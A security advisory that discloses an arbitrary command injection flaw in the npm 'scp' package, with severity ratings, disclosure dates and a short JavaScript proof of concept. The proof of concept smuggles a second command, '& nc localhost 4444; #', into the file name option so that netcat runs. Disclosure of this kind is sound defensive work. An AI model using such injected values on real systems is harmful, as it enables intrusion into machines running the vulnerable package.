Arbitrary Command Injection Affecting scp package, versions *



    Exploit Maturity Proof of concept
    Attack Complexity Low
    User Interaction Required
    Confidentiality High
    Integrity High

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  • Snyk ID SNYK-JS-SCP-1009828
  • published 21 Jun 2020
  • disclosed 7 May 2020
  • credit Mik317

Introduced: 7 May 2020

CVE NOT AVAILABLE CWE-78 Open this link in a new tab

How to fix?

There is no fixed version for scp.


Affected versions of this package are vulnerable to Arbitrary Command Injection. The issue occurs because user input is formatted inside a command that will be executed without any checks.

PoC By Snyk Security Team

var scp = require('scp');

var options = { file: '& nc localhost 4444; #', user: 'username', host: 'myServer', port: '20', path: '~' }

scp.send(options, function (err) { if (err) console.log(err); else console.log('File transferred.'); });